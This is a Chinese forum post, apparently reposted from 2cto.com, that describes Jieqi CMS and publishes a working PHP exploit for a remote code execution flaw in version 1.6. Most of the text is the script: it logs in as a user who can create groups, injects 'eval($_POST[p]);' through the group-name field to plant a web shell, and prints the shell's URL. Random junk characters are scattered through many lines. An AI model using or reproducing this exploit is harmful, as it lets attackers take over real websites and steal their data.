杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。
4 {( h- Q3 c. V. L6 Y- v+ G6 h- D: W! k! r
+ L9 j& }; D, t3 b) o% T该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。7 _2 t& s4 X4 O
需要有一个能创建圈子的用户。
; |& U M% s/ M. @6 x' w1 @ T4 E7 N- Y2 Z2 o C7 B
<?php
5 J- d2 f' ?- }" a
+ H( d- p! U4 X! H! Vprint_r('
' ?: k0 @7 E/ C* D4 U1 q+---------------------------------------------------------------------------+, u) {1 k1 Z, e' j
Jieqi CMS V1.6 PHP Code Injection Exploit
$ G5 o6 ~3 I9 I- t; U* kby flyh4t
3 s! g# R' C: y! p cmail: phpsec at hotmail dot com
( T6 L7 y! J7 o6 s2 [" x9 Uteam: http://www.wolvez.org
1 p! J9 Y6 Q7 _. G: O% L, \+---------------------------------------------------------------------------+: k4 s8 |/ I5 P0 g$ r1 g
'); /*** E+ Q# B9 x# L$ `
* works regardless of php.ini settings
) o7 B' F# J. n* ]7 l: w. L*/ if ($argc < 5) { print_r('
; I+ \% C$ K$ `2 N q+---------------------------------------------------------------------------+" I/ T4 O% q, Z, T" z+ s/ S
Usage: php '.$argv[0].' host path username: m$ L4 u5 {$ r9 u4 f; G
host: target server (ip/hostname)7 w; R; A/ o% f H9 h+ \* s
path: path to jieqicms
; S' ]& [# g$ O5 B n( y5 W# fuasename: a username who can create group2 E% w$ S, v" a* o v, n: `5 e
Example:
/ u% U$ U' N) }1 Y- c/ Vphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
. {: U% J1 I- m4 l2 u% ^+---------------------------------------------------------------------------+ w. w# u3 p5 F {1 k% h" A
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961" ]/ c. X& r* v; K, Y+ R0 a( R
Content-Disposition: form-data; name="gname", [: b& M( O. J& R0 a
: P, I0 J$ J( b- H5 W6 m4 ?& z'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
' e9 X1 d3 F4 |6 J* ?-----------------------------23281168279961
2 F3 V) I5 E+ I( M1 {* VContent-Disposition: form-data; name="gcatid"& Y$ U, e! Q: e/ J: x
: U( N( }1 V* l1( u& b4 x) Z9 J' G
-----------------------------23281168279961% Q$ p6 }9 Y9 W! K% h
Content-Disposition: form-data; name="gaudit"
- |9 R" r7 }2 x8 g4 a
& h3 M5 j L( k, R6 f, O6 X1
, s0 W( K t8 `6 R$ s-----------------------------23281168279961
) Y8 ^& w) B5 M" }. r' {. v) a( {Content-Disposition: form-data; name="gbrief"
{: B, R7 U; j9 J1 H( w
4 X" U8 U8 e0 s* t6 C1
" K/ ]8 z* G! B" }0 N3 `2 `-----------------------------23281168279961--
+ o: G/ f, K+ g- H7 p1 }'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com8 n6 M' O& D0 x0 i3 S7 z
$ V2 u( i9 Q2 J7 t8 P) h& P2 ^
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url; |